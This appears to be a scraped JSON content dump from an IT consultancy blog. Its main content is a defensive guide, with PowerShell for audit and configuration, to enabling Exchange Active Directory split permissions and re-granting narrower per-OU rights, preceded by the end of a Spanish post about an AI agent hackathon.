2026. El registro está abierto. Si quieres identificar casos de uso y preparar tu entorno antes de eso: estamos encantados de ayudarte. Contáctanos.",[809,5237,5238],{},"Gracias a Sylvia y Miriam de Microsoft por su confianza en el formato. A Kiekert, Dr. Oetker, Eckes-Granini, igefa y lila logistik por su valentía y dedicación. Y a nuestro equipo de glueckkanja por hacer esto posible.",{"title":927,"searchDepth":928,"depth":928,"links":5240},[],{"lang":940,"seoTitle":5242,"titleClass":942,"date":5243,"categories":5244,"blogtitlepic":5245,"socialimg":5246,"customExcerpt":5247,"keywords":5248,"hreflang":5249,"published":511},"glueckkanja AI Agent Hackathon: Seis empresas construyen agentes de IA con Copilot Studio","2026-03-16",[945],"head-ai-agent-hackathon.jpg","/blog/heads/head-ai-agent-hackathon.jpg","Seis empresas, cuatro semanas de desarrollo, seis agentes de IA funcionando — eso fue el primer glueckkanja AI Agent Hackathon. Kiekert, Dr. Oetker, Eckes-Granini, igefa y lila logistik crearon agentes en Copilot Studio que hoy están en producción. Aquí está lo que se construyó y cómo funciona el formato.","AI Agent Hackathon, Copilot Studio, glueckkanja, agentes de IA, Microsoft Copilot, Agent Flows, Dataverse, MCP Connector, Kiekert, Dr. Oetker, Eckes-Granini, igefa, lila logistik, automatización con IA, IA empresarial, automatización de procesos",[5250,5252,5254],{"lang":4,"href":5251},"/de/posts/2026-03-16-ai-agent-hackathon",{"lang":1026,"href":5253},"/en/posts/2026-03-16-ai-agent-hackathon",{"lang":940,"href":5255},"/es/posts/2026-03-16-ai-agent-hackathon","/posts/2026-03-16-ai-agent-hackathon",{"title":5203,"description":5209},"posts/2026-03-16-ai-agent-hackathon",[1793,5260,5261,5262],"Copilot Studio","Hackathon","AI Agents","_fnTBH76UJTsdV-WH8FxJ5jJOfkIEAq-6qyIWAtwk1k",{"id":5265,"title":5266,"author":5267,"body":5268,"cta":767,"description":927,"eventid":767,"extension":937,"hideInRecent":752,"layout":938,"meta":5926,"moment":5928,"navigation":511,"path":5953,"seo":5954,"stem":5955,"tags":767,"webcast":752,"__hash__":5956},"content_es/posts/2026-03-01-exchange-ad-split-permissions-hardening.md","Exchange AD Split Permissions without regrets",[1112],{"type":806,"value":5269,"toc":5913},[5270,5274,5277,5283,5288,5304,5307,5312,5315,5319,5327,5341,5347,5350,5355,5391,5414,5418,5426,5434,5439,5455,5459,5465,5469,5474,5532,5537,5574,5577,5581,5595,5602,5618,5627,5631,5634,5680,5683,5692,5701,5704,5719,5736,5749,5761,5766,5825,5829,5834,5854,5861,5885,5889,5892,5895,5910],[819,5271,5273],{"id":5272},"tldr-what-if-we-remove-the-downsides","TLDR: what if we remove the downsides?",[809,5275,5276],{},"I found a way to re-grant AD and RBAC permissions directly where Exchange users, groups, and contacts reside, requiring no changes for admins or identity management systems. In my experience, that friction has been the primary blocker for most companies. And we still retain the security benefits against lateral movement and domain compromise.",[809,5278,5279],{},[838,5280],{"alt":5281,"src":5282},"Active Directory","https://res.cloudinary.com/c4a8/image/upload/v1770991330/blog/pics/Blog_-_Exchange_AD_Split_Permissions_-_1.png",[809,5284,5285],{},[1656,5286,5287],{},"It’s achieved in three steps:",[5289,5290,5291,5298,5301],"ol",{"style":1651},[1653,5292,5293,5294],{},"Implement ",[813,5295,5297],{"href":5296},"https://learn.microsoft.com/en-us/exchange/permissions/split-permissions/configure-exchange-for-split-permissions#switch-to-active-directory-split-permissions","AD split permission model",[1653,5299,5300],{},"Grant Exchange servers the lost AD permissions, but only on the relevant OUs",[1653,5302,5303],{},"Grant Exchange RBAC to re-enable missing PowerShell cmdlets",[809,5305,5306],{},"All via Microsoft’s guidance, AD ACLs or Exchange RBAC assignments.",[5005,5308],{"thumb":5309,"alt":5310,"id":5311,":full-width":2401},"/thumbs/thumb-exchange-ad-split-permissions-webcast.jpg","A presenter sits in front of a laptop explaining a slide titled Step 1: Active Directory Permissions by glueckkanja. The slide covers how to implement Microsoft Exchange AD Split Permissions, including PowerShell commands for creating a delegation group (New-ADGroup, Add-ADGroupMember) and applying permissions via the script Add-ExchangeADSplitPermissionOnOU.ps1.","soNZkNRopSQ",[2499,5313,5314],{"style":5012},"Webcast: Exchange AD Split Permissions without regrets. A Step-by-step implementation guide",[819,5316,5318],{"id":5317},"why-do-we-care-now","Why do we care (now)?",[809,5320,5321,5322,5324,5326],{},"It has been largely overlooked or ignored since it was introduced with Exchange 2010 SP1. But the default shared permissions model represents a big security risk of Active Directory takeover. Combined with Exchange being notorious for remote exploits the last few years, it’s time to act!",[2970,5323],{},[2970,5325],{},"\nThe problem originates from privileges granted to the root of a domain that get inherited throughout the domain.",[1649,5328,5329,5332,5335,5338],{"style":1651},[1653,5330,5331],{},"modify permissions on users and groups (effectively full access)",[1653,5333,5334],{},"modify group members",[1653,5336,5337],{},"reset password on users",[1653,5339,5340],{},"create/delete users and groups",[809,5342,5343],{},[838,5344],{"alt":5345,"src":5346},"Permissions","https://res.cloudinary.com/c4a8/image/upload/v1770991330/blog/pics/Blog_-_Exchange_AD_Split_Permissions_-_2.png",[809,5348,5349],{},"Only certain highly privileged Tier 0 users and groups are protected by the AdminSDHolder process (attribute admincount=1) and in many environments there will be unprotected users or groups that could allow compromise of the domain and/or forest or at least cause serious impact.",[809,5351,5352],{},[1656,5353,5354],{},"Prominent examples:",[1649,5356,5357,5360,5380],{"style":1651},[1653,5358,5359],{},"Entra Connect Sync account when using Password Hash Sync",[1653,5361,5362,5363],{},"Default groups",[1649,5364,5366,5369,5377],{"style":5365},"margin: 0",[1653,5367,5368],{},"Allowed RODC Password Replication Group together with Entra Connect account (if a real Windows RODC exists)",[1653,5370,5371,5372,5376],{},"Also see ",[813,5373,5375],{"href":5374,"target":516},"https://specterops.io/blog/2025/06/25/untrustworthy-trust-builders-account-operators-replicating-trust-attack-aorta","Untrustworthy Trust Builders: Account Operators Replicating Trust Attack (AORTA) - SpecterOps"," showing more paths (Account Operators group is a similar threat)",[1653,5378,5379],{},"Emptying Protected Users to create attack vectors by removing protections",[1653,5381,5382,5383],{},"Unprotected custom groups or admin/service accounts",[1649,5384,5385,5388],{"style":5365},[1653,5386,5387],{},"Write permission on GPOs (applying to domain controller)",[1653,5389,5390],{},"Managing access to AD backups, backup server, PKI templates, hypervisor, ...",[809,5392,5393,5394,5396,5398,5399,5404,5406,5408,5409],{},"It is very hard to retroactively contain all these current and future potential pathways. For the _ADM custom OU, you could disable ACL inheritance, but most default objects may not be moved from the default Builtin OU or Users container and remain vulnerable.",[2970,5395],{},[2970,5397],{},"\nIt is much better to remove the powerful permissions from the root, which is done by implementing the Active Directory split permissions model. ",[813,5400,5403],{"href":5401,"rel":5402},"https://learn.microsoft.com/en-us/exchange/permissions/split-permissions/configure-exchange-for-split-permissions",[1509],"Configure Exchange Server for split permissions | Microsoft Learn",[2970,5405],{},[2970,5407],{},"\nAnd Microsoft agrees “…encouraged to implement Active Directory split permissions” ",[813,5410,5413],{"href":5411,"rel":5412},"https://techcommunity.microsoft.com/blog/coreinfrastructureandsecurityblog/active-directory-hardening-series---part-7-%E2%80%93-implementing-least-privilege/4366626",[1509],"Active Directory Hardening Series - Part 7 – Implementing Least Privilege | Microsoft Community Hub",[819,5415,5417],{"id":5416},"but-why-is-no-one-doing-it","But why is no one doing it?",[809,5419,5420,5421,5423,5425],{},"As split permissions weren’t available until Exchange 2010 SP1, everyone had accepted it by then and it seems that security teams did not manage to push it successfully once it existed.",[2970,5422],{},[2970,5424],{},"\nAnd it would have forced changes to admin and IDM processes, like creating users or distribution lists in AD first and only afterwards using Exchange to “mail enable” them.",[892,5427,5428],{},[809,5429,5430,5433],{},[1656,5431,5432],{},"Info:"," The following cmdlets will no longer be available or working: Add-DistributionGroupMember, New-DistributionGroup, New-Mailbox, New-MailContact, New-MailUser, New-RemoteMailbox, Remove-DistributionGroup, Remove-DistributionGroupMember, Remove-Mailbox, Remove-MailContact, Remove-MailUser, Remove-RemoteMailbox, Update-DistributionGroupMember, Add-ADPermission, Remove-ADPermission",[809,5435,5436],{},[1656,5437,5438],{},"Adoption examples:",[1649,5440,5441,5452],{"style":1651},[1653,5442,5443,5444],{},"New-Mailbox (where Exchange writes to AD) would be:",[1649,5445,5446,5449],{"style":5365},[1653,5447,5448],{},"New-ADUser (where adm.jdoe writes to AD)",[1653,5450,5451],{},"Enable-Mailbox",[1653,5453,5454],{},"Add-ADPermission for SendAs rights would have to be done via AD users and computers in the security tab and often requiring additional AD permissions for standard admins.",[819,5456,5458],{"id":5457},"show-me-this-no-regrets-option","Show me this no-regrets option!",[809,5460,5461,5464],{},[1656,5462,5463],{},"Disclaimer",": Please fully read and understand the following links and articles, perform it in a test environment first, make sure AD backups are current and recovery practices are established!",[897,5466,5468],{"id":5467},"audit-current-usage","Audit current usage",[809,5470,5471],{},[1656,5472,5473],{},"You should first check which of the affected cmdlets are in use on which OUs:",[2963,5475,5476,5483,5485,5491,5493],{},[919,5477,5478,5482],{},[919,5479,5481],{"style":5480},"color:var(--color-gk-orange)","$CsvPath"," = \"C:\\temp\\SplitPermissionAdminAuditLog.csv\"",[2970,5484],{},[919,5486,5487,5490],{},[919,5488,5489],{"style":5480},"$Cmdlets"," = \"Add-ADPermission\",\"Remove-ADPermission\",\"New-DistributionGroup\",\"Remove-DistributionGroup\",\"Add-DistributionGroupMember\",\"Update-DistributionGroupMember\",\"Remove-DistributionGroupMember\",\"New-Mailbox\",\"Remove-Mailbox\",\"New-RemoteMailbox\",\"Remove-RemoteMailbox\",\"New-MailUser\",\"Remove-MailUser\",\"New-MailContact\",\"Remove-MailContact\"",[2970,5492],{},[919,5494,5495,1659,5498,5502,5503,1659,5506,5508,5509,5512,5513,1659,5516,1659,5519,1659,5521,5524,5525,5528,5529],{},[919,5496,5497],{"style":5480},"Search-AdminAuditLog",[919,5499,5501],{"style":5500},"color:var(--color-gk-mid-blue)","-ResultSize"," 99000 ",[919,5504,5505],{"style":5500},"-Cmdlets",[919,5507,5489],{"style":5480}," | ",[919,5510,5511],{"style":5480},"Select-Object"," RunDate,Caller,ObjectModified,CmdletName,@{Name='CmdletParameters';Expression={[string]::join(\",\", ($\\_.CmdletParameters))}},succeeded,error | ",[919,5514,5515],{"style":5480},"Export-Csv",[919,5517,5518],{"style":5500},"-Path",[919,5520,5481],{"style":5480},[919,5522,5523],{"style":5500},"-Delimiter"," \";\" ",[919,5526,5527],{"style":5500},"-Encoding"," Unicode ",[919,5530,5531],{"style":5500},"-NoTypeInformation",[809,5533,5534],{},[1656,5535,5536],{},"Quick Analysis of caller and cmdlets:",[2963,5538,5539,5555,5557,5565,5567],{},[919,5540,5541,5544,5545,1659,5548,1659,5550,1659,5552,5554],{},[919,5542,5543],{"style":5480},"$CSVs"," = ",[919,5546,5547],{"style":5480},"Import-Csv",[919,5549,5518],{"style":5500},[919,5551,5481],{"style":5480},[919,5553,5523],{"style":5500}," \";\"",[2970,5556],{},[919,5558,5559,5508,5561,5564],{},[919,5560,5543],{"style":5480},[919,5562,5563],{"style":5480},"Group-Object"," Caller",[2970,5566],{},[919,5568,5569,5508,5571,5573],{},[919,5570,5543],{"style":5480},[919,5572,5563],{"style":5480}," CmdletName",[809,5575,5576],{},"Analyze the CSV for where AD permissions will be needed. Potentially optimize by moving all Exchange-relevant groups into dedicated OUs.",[819,5578,5580],{"id":5579},"enable-split-permissions-model","Enable Split Permissions Model",[809,5582,5583,5584,5587,5588,5592],{},"Follow Microsoft's instructions ",[1656,5585,5586],{},"\"Switch to Active Directory split permissions\""," in\n",[813,5589,5403],{"href":5590,"rel":5591},"https://learn.microsoft.com/en-us/exchange/configure-exchange-server-for-split-permissions",[1509],[848,5593,5594],{},"(NOT RBAC split permissions)",[809,5596,5597,5598,5601],{},"In essence, it will remove the dangerous permissions of the ",[1656,5599,5600],{},"\"Exchange Windows Permissions\""," group and also remove Exchange as a group member.",[2963,5603,5604],{},[919,5605,5606,1659,5609,1659,5612,1659,5615],{},[919,5607,5608],{"style":5480},"Setup.exe",[919,5610,5611],{"style":5500},"/IAcceptExchangeServerLicenseTerms_DiagnosticDataOFF",[919,5613,5614],{"style":5500},"/PrepareAD",[919,5616,5617],{"style":5500},"/ActiveDirectorySplitPermissions:true",[2499,5619,895,5621,5623,5624],{"style":5620},"background:#f4f4f4; border-left:4px solid var(--color-gk-petrol); border-radius:0 6px 6px 0; padding:0.75rem 1rem; margin:1rem 0; font-size:0.88rem; color:#000520;",[1656,5622,5432],{}," To revert back, simply use ",[2509,5625,5626],{},"/ActiveDirectorySplitPermissions:false",[897,5628,5630],{"id":5629},"grant-ad-permissions","Grant AD Permissions",[809,5632,5633],{},"Create a custom AD group and make Exchange servers members.",[2963,5635,5636,5642,5644,1659,5647,5650,5651,5654,5655,5658,5659,1659,5661,1659,5664,5667,5668,5670,5650,5673,5676,5677],{},[919,5637,5638],{},[919,5639,5641],{"style":5640},"color:var(--color-black-40)","# adjust OU Path first!",[2970,5643],{},[919,5645,5646],{"style":5480},"New-ADGroup",[919,5648,5649],{"style":5500},"-Name"," \"AD_Custom Exchange Split permissions replacement\" ",[919,5652,5653],{"style":5500},"-GroupCategory"," Security ",[919,5656,5657],{"style":5500},"-GroupScope"," DomainLocal ",[919,5660,5518],{"style":5500},[1656,5662,5663],{},"\"OU=Rights,OU=Groups,OU=T1,OU=_ADM,$((Get-ADDomain).DistinguishedName)\"",[919,5665,5666],{"style":5500},"-Description"," \"replaces the permissions lost by split permissions on relevant OUs\"",[2970,5669],{},[919,5671,5672],{"style":5480},"Add-ADGroupMember",[919,5674,5675],{"style":5500},"-Members"," \"Exchange Trusted Subsystem\"\n",[919,5678,5679],{"style":5640},"# reboot Exchange servers for permissions via group to work",[809,5681,5682],{},"I’ve created a script to make delegating the AD permissions easy per use case.",[892,5684,5685],{},[809,5686,5687,5688,5691],{},"Without these permissions the Exchange server would receive the error ",[2509,5689,5690],{},"“INSUFF_ACCESS_RIGHTS”"," from AD.",[809,5693,5694,5695,5700],{},"Download ",[813,5696,5699],{"href":5697,"rel":5698},"https://github.com/glueckkanja/code-snippets/blob/main/ExchangeADSplitPermission/Add-ExchangeADSplitPermissionOnOU.ps1",[1509],"Add-ExchangeADSplitPermissionOnOU.ps1"," from glueckkanja GitHub",[809,5702,5703],{},"It can grant the following PermissionTypes:",[809,5705,5707,5710,5712,5713,5715],{"style":5706},"background:#f5f5f5;padding:0.5rem 1rem;margin:0.25rem 0;border-left:3px solid #d8d8d8;",[1656,5708,5709],{},"CreateUserAndContact",[2970,5711],{},"Create/delete, ResetPassword and WriteAllProperties for Users and Contacts",[2970,5714],{},[5716,5717,5718],"small",{},"Exchange cmdlets: `New-Mailbox`, `New-RemoteMailbox`, `New-MailUser`, `New-MailContact` and matching `Remove-*`",[809,5720,5722,5725,5727,5728,5730],{"style":5721},"background:#f5f5f5;padding:0.5rem 1rem;margin:0.25rem 0;border-left:3px solid #d8d8d8",[1656,5723,5724],{},"GroupManage",[2970,5726],{},"Create/Delete Groups, Modify Member",[2970,5729],{},[5716,5731,5732,5733,5735],{},"Exchange cmdlets: `New-DistributionGroup`, `Remove-DistributionGroup`, `Add-DistributionGroupMember`, `Update-DistributionGroupMember`, `Remove-DistributionGroupMember`",[2970,5734],{},"Also: user managing DistributionGroups they own via EAC",[809,5737,5738,5741,5743,5744,5746],{"style":5721},[1656,5739,5740],{},"UserSendAs",[2970,5742],{},"Modify AD Permissions on Users",[2970,5745],{},[5716,5747,5748],{},"Exchange cmdlet: `Add-ADPermission`",[809,5750,5751,5754,5756,5757,5759],{"style":5721},[1656,5752,5753],{},"GroupSendAs",[2970,5755],{},"Modify AD Permissions on Groups",[2970,5758],{},[5716,5760,5748],{},[809,5762,5763],{},[1656,5764,5765],{},"How to use the script:",[2963,5767,5768,1659,5770,5773,5774,5777,5778,5781,5782,5785,5787,1659,5789,5791,5792,5794,5795,5781,5797,1659,5799,5791,5801,5803,5804,5781,5806,1659,5808,5810,5811,5813,5814,5781,5816,1659,5818,5810,5820,5822,5823,5781],{},[919,5769,5699],{"style":5480},[919,5771,5772],{"style":5500},"-TargetOU"," \u003COU> ",[919,5775,5776],{"style":5500},"-PermissionType"," \u003CGroupManage|UserSendAs|GroupSendAs|CreateUserAndContact> ",[919,5779,5780],{"style":5500},"-Trustee"," \"AD_Custom Exchange Split permissions replacement\"\n",[919,5783,5784],{"style":5640},"# For example",[2970,5786],{},[919,5788,5699],{"style":5480},[919,5790,5772],{"style":5500}," \"OU=ExchangeGroups,OU=HQ,OU=Alderaan,$((Get-ADDomain).DistinguishedName)\" ",[919,5793,5776],{"style":5500}," GroupManage ",[919,5796,5780],{"style":5500},[919,5798,5699],{"style":5480},[919,5800,5772],{"style":5500},[919,5802,5776],{"style":5500}," GroupSendAs ",[919,5805,5780],{"style":5500},[919,5807,5699],{"style":5480},[919,5809,5772],{"style":5500}," \"OU=Users,OU=HQ,OU=Alderaan,$((Get-ADDomain).DistinguishedName)\" ",[919,5812,5776],{"style":5500}," UserSendAs ",[919,5815,5780],{"style":5500},[919,5817,5699],{"style":5480},[919,5819,5772],{"style":5500},[919,5821,5776],{"style":5500}," CreateUserAndContact ",[919,5824,5780],{"style":5500},[897,5826,5828],{"id":5827},"grant-exchange-rbac","Grant Exchange RBAC",[809,5830,5831],{},[1656,5832,5833],{},"Re-enable -BypassSecurityGroupManagerCheck parameter for Add-DistributionGroupMember and Remove-DistributionGroupMember cmdlets:",[2963,5835,5836],{},[919,5837,5838,1659,5841,5843,5844,5847,5848,5850,5851,5853],{},[919,5839,5840],{"style":5480},"New-RoleGroup",[919,5842,5649],{"style":5500}," \"SplitPermission Security Group Creation and Membership\" ",[919,5845,5846],{"style":5500},"-Roles"," \"Security Group Creation and Membership\" ",[919,5849,5675],{"style":5500}," \"Organization Management\",\"Recipient Management\" ",[919,5852,5666],{"style":5500}," \"Brings back -BypassSecurityGroupManagerCheck to Add-DistributionGroupMember, but also needs AD ACL for Exchange Server on target DLs\"",[892,5855,5856],{},[809,5857,5858,5860],{},[1656,5859,5432],{}," Else you get \"-BypassSecurityGroupManagerCheck parameter is not available\" or \"You don't have sufficient permissions. This operation can only be performed by a manager of the group\"",[809,5862,5863,5865,5868,5870],{},[2970,5864],{},[1656,5866,5867],{},"Re-enable New-Mailbox, New-RemoteMailbox, New-MailContact, Remove-... cmdlets with needed parameters:",[2970,5869],{},[2963,5871,5872,1659,5874,5876,5877,5879,5880,5850,5882,5884],{},[919,5873,5840],{"style":5480},[919,5875,5649],{"style":5500}," \"SplitPermission Mail Recipient Creation\" ",[919,5878,5846],{"style":5500}," \"Mail Recipient Creation\" ",[919,5881,5675],{"style":5500},[919,5883,5666],{"style":5500}," \"Brings back New-Mailbox, New-RemoteMailbox, New-MailUser, New-MailContact and matching Remove-... cmdlets, but additionally Exchange needs AD ACL for Exchange Server on target OUs\"",[819,5886,5888],{"id":5887},"conclusions","Conclusions",[809,5890,5891],{},"I hope this guide helps more organizations take the important step of securing their Active Directory against compromise via Exchange. In my experience implementing the Exchange AD Split Permissions model across multiple customers, I have not encountered any issues and the adoption has been smooth.",[809,5893,5894],{},"I also hope Microsoft will introduce a native, OU-based approach to achieve this level of granularity, rather than the current all-or-nothing model, which would make widespread adoption significantly easier.",[809,5896,5897,5898,5903,5904,5909],{},"A note on AD Tiering: Please do not log on to Exchange servers with Domain Admin or any other Tier 0 accounts. Treat Exchange servers as Tier 1 and implement AD Tiering as soon as possible. As a first step, I recommend using ",[813,5899,5902],{"href":5900,"rel":5901},"https://www.pingcastle.com/",[1509],"PingCastle"," or ",[813,5905,5908],{"href":5906,"rel":5907},"https://www.semperis.com/purple-knight/",[1509],"Purple Knight"," to assess your AD security posture and identify control path exposures.",[4558,5911,5912],{},"\ncode {\n  font-size: inherit\n}\n",{"title":927,"searchDepth":928,"depth":928,"links":5914},[5915,5916,5917,5918,5921,5925],{"id":5272,"depth":928,"text":5273},{"id":5317,"depth":928,"text":5318},{"id":5416,"depth":928,"text":5417},{"id":5457,"depth":928,"text":5458,"children":5919},[5920],{"id":5467,"depth":935,"text":5468},{"id":5579,"depth":928,"text":5580,"children":5922},[5923,5924],{"id":5629,"depth":935,"text":5630},{"id":5827,"depth":935,"text":5828},{"id":5887,"depth":928,"text":5888},{"lang":940,"seoTitle":5927,"titleClass":942,"date":5928,"blogtitlepic":5929,"socialimg":5930,"customExcerpt":5931,"keywords":5932,"hreflang":5933,"scripts":5940,"asideNav":5941,"maxContent":511,"published":511},"Exchange AD Split Permissions: Secure Active Directory with Least Privilege","2026-03-01","head-exchange-ad-split-permissions","/blog/heads/head-exchange-ad-split-permissions.jpg","Even organizations that have fully migrated their mailboxes to the cloud often still run on-premises Exchange servers and with them, an underestimated security risk for Active Directory. The \"AD Split Permissions\" model strips Exchange of the broad AD privileges attackers could exploit for a full domain compromise. Until now, adoption has largely failed due to the process changes it imposes on administrators. This article shows how to elegantly overcome exactly that hurdle: a script that selectively re-grants the lost AD permissions on the relevant OUs only, preserving the familiar admin workflow while still achieving the full security benefit.","Exchange Server, Active Directory, AD split permissions, RBAC, Exchange permissions, AdminSDHolder, least privilege, AD ACL, PowerShell",[5934,5936,5938],{"lang":4,"href":5935},"/de/posts/2026-03-01-exchange-ad-split-permissions-hardening",{"lang":940,"href":5937},"/es/posts/2026-03-01-exchange-ad-split-permissions-hardening",{"lang":1026,"href":5939},"/en/posts/2026-03-01-exchange-ad-split-permissions-hardening",{"slick":511,"form":511},{"menuItems":5942},[5943,5945,5947,5949,5951],{"href":5944,"text":5273},"#tldr-what-if-we-remove-the-downsides",{"href":5946,"text":5318},"#why-do-we-care-now",{"href":5948,"text":5417},"#but-why-is-no-one-doing-it",{"href":5950,"text":5458},"#show-me-this-no-regrets-option",{"href":5952,"text":5888},"#conclusions","/posts/2026-03-01-exchange-ad-split-permissions-hardening",{"title":5266,"description":927},"posts/2026-03-01-exchange-ad-split-permissions-hardening","zQ2Sd85zs9GeSW6NWkANPLq6B1CT2T7OfSW2-oVK4GY",{"id":5958,"title":5959,"author":5960,"body":5962,"cta":767,"description":927,"eventid":767,"extension":937,"hideInRecent":511,"layout":938,"meta":6421,"moment":6422,"navigation":511,"path":6439,"seo":6440,"stem":6441,"tags":767,"webcast":752,"__hash__":6442},"content_es/posts/2026-01-27-exchange-active-directory.md","​​​Exchange AD Split Permissions without regrets​",[5961],"​Thorsten Kunzi​",{"type":806,"value":5963,"toc":6404},[5964,5966,5969,5973,5976,5993,5995,5997,6002,6012,6016,6019,6022,6052,6065,6067,6072,6080,6083,6096,6098,6103,6105,6115,6120,6125,6143,6146,6170,6172,6192,6200,6212,6222,6276,6279,6302,6319,6331,6344,6351,6353,6362,6373,6384,6386,6389,6392,6402],[897,5965,5273],{"id":5272},[809,5967,5968],{},"I found a way to re-grant the AD and RBAC permissions where the Exchange user, groups, contacts, etc. reside. This way there is no adoption needed for admins or identity management systems, which in my experience was the blocker for most companies to implement it. And we still get the security benefit against lateral movement and domain compromise.",[809,5970,5971],{},[838,5972],{"alt":5281,"src":5282},[897,5974,5287],{"id":5975},"its-achieved-in-three-steps",[5289,5977,5978,5985,5989],{},[1653,5979,5293,5980,5983],{},[813,5981,5297],{"href":5296,"rel":5982},[1509],[2970,5984],{},[1653,5986,5300,5987],{},[2970,5988],{},[1653,5990,5303,5991],{},[2970,5992],{},[809,5994,5306],{},[897,5996,5318],{"id":5317},[809,5998,5999,6000,5326],{},"It has been largely overlooked or ignored since it was introduced with Exchange 2010 SP1. But the default shared permissions model represents a big security risk to Active Directory takeover. Combined with Exchange being notorious for remote exploits these last few years, it’s time to act!",[2970,6001],{},[1649,6003,6004,6006,6008,6010],{},[1653,6005,5331],{},[1653,6007,5334],{},[1653,6009,5337],{},[1653,6011,5340],{},[809,6013,6014],{},[838,6015],{"alt":5345,"src":5346},[809,6017,6018],{},"Only certain high privileged Tier0 users and groups are protected by the AdminSDHolder process (attribute admincount=1) and in many environments there will be unprotected users or groups that could allow compromise of the domain and/or forest or at least cause serious impact.",[897,6020,5354],{"id":6021},"prominent-examples",[1649,6023,6024,6027,6043],{},[1653,6025,6026],{},"Entra Connect Sync account when using PWHashSync",[1653,6028,6029,6030],{},"Default groups\n",[1649,6031,6032,6035,6041],{},[1653,6033,6034],{},"Allowed RODC Password Replication Group together with EntraConnect account (If a real Windows RODC exists)",[1653,6036,5371,6037,5376],{},[813,6038,5375],{"href":6039,"rel":6040},"https://specterops.io/blog/2025/06/25/untrustworthy-trust-builders-account-operators-replicating-trust-attack-aorta/",[1509],[1653,6042,5379],{},[1653,6044,6045,6046],{},"Unprotected custom groups or admin/service accounts\n",[1649,6047,6048,6050],{},[1653,6049,5387],{},[1653,6051,5390],{},[809,6053,6054,6055,5398,6057,6060,5408,6062],{},"It is very hard to retroactively contain all these current and future potential pathways. For the _ADM custom OU you could disable ACL inheritance, but most default objects may not be moved from the default Builtin OU or Users container and remain vulnerable.",[2970,6056],{},[813,6058,5403],{"href":5401,"rel":6059},[1509],[2970,6061],{},[813,6063,5413],{"href":5411,"rel":6064},[1509],[819,6066,5417],{"id":5416},[809,6068,6069,6070,5425],{},"As split permissions weren’t available until Exchange 2010 SP1 everyone had accepted it by then and it seems that security teams did not manage to push successfully once it existed.",[2970,6071],{},[809,6073,6074,6075,6077],{},"No longer available or working cmdlets:",[2970,6076],{},[2509,6078,6079],{},"Add-DistributionGroupMember, New-DistributionGroup, New-Mailbox, New-MailContact, New-MailUser, New-RemoteMailbox, Remove-DistributionGroup, Remove-DistributionGroupMember, Remove-Mailbox, Remove-MailContact, Remove-MailUser, Remove-RemoteMailbox, Update-DistributionGroupMember, Add-ADPermission, Remove-ADPermission ",[897,6081,5438],{"id":6082},"adoption-examples",[1649,6084,6085,6094],{},[1653,6086,6087,6088],{},"New-Mailbox (where Exchange writes to AD) would be:\n",[1649,6089,6090,6092],{},[1653,6091,5448],{},[1653,6093,5451],{},[1653,6095,5454],{},[819,6097,5458],{"id":5457},[809,6099,6100,6102],{},[1656,6101,5463],{},": Please fully read and understand the following links and articles, perform in a test environment first, make sure AD backups are current and recovery practices are established!",[897,6104,5468],{"id":5467},[809,6106,6107,6110,6112],{},[1656,6108,6109],{},"You should first check which of the affected cmdlets are in use on which OUs.",[2970,6111],{},[2509,6113,6114],{},"$CsvPath =\"C:\\temp\\SplitPermissionAdminAuditLog.csv\"",[809,6116,6117],{},[2509,6118,6119],{},"$Cmdlets = \"Add-ADPermission\",\"Remove-ADPermission\",\"New-DistributionGroup\",\"Remove-DistributionGroup\",\"Add-DistributionGroupMember\",\"Update-DistributionGroupMember\",\"Remove-DistributionGroupMember\",\"New-Mailbox\",\"Remove-Mailbox\",\"New-RemoteMailbox\",\"Remove-RemoteMailbox\",\"New-MailUser\",\"Remove-MailUser\",\"New-MailContact\",\"Remove-MailContact\"",[809,6121,6122],{},[2509,6123,6124],{},"Search-AdminAuditLog -ResultSize 99000 -Cmdlets $Cmdlets| select RunDate,Caller,ObjectModified,CmdletName,@{Name='CmdletParameters';Expression={[string]::join(\",\", ($_.CmdletParameters))}},succeeded,error | Export-Csv -Path $CsvPath -Delimiter \";\" -Encoding Unicode -NoTypeInformation",[809,6126,6127,6129,6131,6134,6137,6140],{},[1656,6128,5536],{},[2970,6130],{},[2509,6132,6133],{},"$CSVs=Import-Csv -Path $CsvPath -Delimiter \";\"",[2509,6135,6136],{},"$CSVs|group Caller",[2509,6138,6139],{},"$CSVs|group CmdletName",[2509,6141,6142],{},"Analyze the CSV for where AD permissions will be needed. Potentially optimize by moving all Exchange relevant groups into dedicated OUs.",[897,6144,6145],{"id":5579},"Enable split permissions model",[809,6147,6148,6155,6157,6158,6160,6163,6165,1659,6168],{},[1656,6149,6150,6151,6154],{},"Follow instructions of “Switch to Active Directory split permissions” in ",[813,6152,5403],{"href":5296,"rel":6153},[1509]," (NOT RBAC split permissions)",[2970,6156],{},"\nIn essence it will remove the dangerous permissions of “Exchange Windows Permissions” group and also remove Exchange as group member.",[2970,6159],{},[2509,6161,6162],{},"Setup.exe /IAcceptExchangeServerLicenseTerms_DiagnosticDataOFF /PrepareAD /ActiveDirectorySplitPermissions:true",[2970,6164],{},[1656,6166,6167],{},"To revert back just use:",[2509,6169,5626],{},[897,6171,5630],{"id":5629},[809,6173,6174,6177,6179,6180,6182,6185,6187,6189],{},[1656,6175,6176],{},"Create a custom AD group and make Exchange server members.",[2970,6178],{},"\nadjust OU Path first!",[2970,6181],{},[2509,6183,6184],{},"New-ADGroup -Name \"AD_Custom Exchange Split permissions replacement\" -GroupCategory Security -GroupScope DomainLocal -Path \"OU=Rights,OU=Groups,OU=T1,OU=_ADM,$((Get-ADDomain).DistinguishedName)\" -Description \"replaces the permissions lost by split permissions on relevant OUs\"",[2970,6186],{},[2970,6188],{},[2509,6190,6191],{},"Add-ADGroupMember \"AD_Custom Exchange Split permissions replacement\" -Members \"Exchange Trusted Subsystem\"",[809,6193,6194,6197,6199],{},[1656,6195,6196],{},"reboot Exchange servers for permissions via group to work",[2970,6198],{},"\nI’ve created a script to make delegating the AD permissions easy per use case.",[892,6201,6202],{},[809,6203,6204,6209,6210,5691],{},[1656,6205,6206],{},[848,6207,6208],{},"INFO:"," Without these permissions the Exchange server would receive the error ",[2509,6211,5690],{},[809,6213,6214,6219,6221],{},[1656,6215,5694,6216,5700],{},[813,6217,5699],{"href":5697,"rel":6218},[1509],[2970,6220],{},"\nIt can grant the following PermissionTypes:",[1649,6223,6224,6235,6253,6265],{},[1653,6225,6226,6228],{},[1656,6227,5709],{},[1649,6229,6230,6232],{},[1653,6231,5712],{},[1653,6233,6234],{},"Exchange cmdlets: New-Mailbox, New-RemoteMailbox, New-MailUser, New-MailContact and the matching 